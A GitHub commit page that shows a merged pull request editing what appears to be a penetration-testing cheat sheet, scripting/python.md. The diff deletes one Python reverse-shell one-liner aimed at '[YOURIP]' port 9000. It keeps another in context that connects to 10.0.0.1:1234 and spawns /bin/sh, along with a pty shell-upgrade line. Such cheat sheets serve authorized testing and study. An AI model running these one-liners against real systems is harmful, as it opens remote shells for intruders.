Skip to content

Commit ba02596

Browse files
committed
Merge pull request #58 from jakxx/master
Removing redundant python reverse shell
2 parents 570d034 + ea56499 commit ba02596

File tree

1 file changed

+0
-4
lines changed

1 file changed

+0
-4
lines changed

scripting/python.md

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -11,10 +11,6 @@ python -m SimpleHTTPServer 8000```
1111
```python
1212
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'```
1313

14-
**Reverse Shell to YOURIP on port 9000**
15-
```python
16-
python -c "import socket,subprocess,os;host=\"[YOURIP]\";port=9000;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"```
17-
1814
**Spawn bash shell prompt**
1915
```python
2016
python -c 'import pty; pty.spawn("/bin/bash")'```

0 commit comments

Comments
 (0)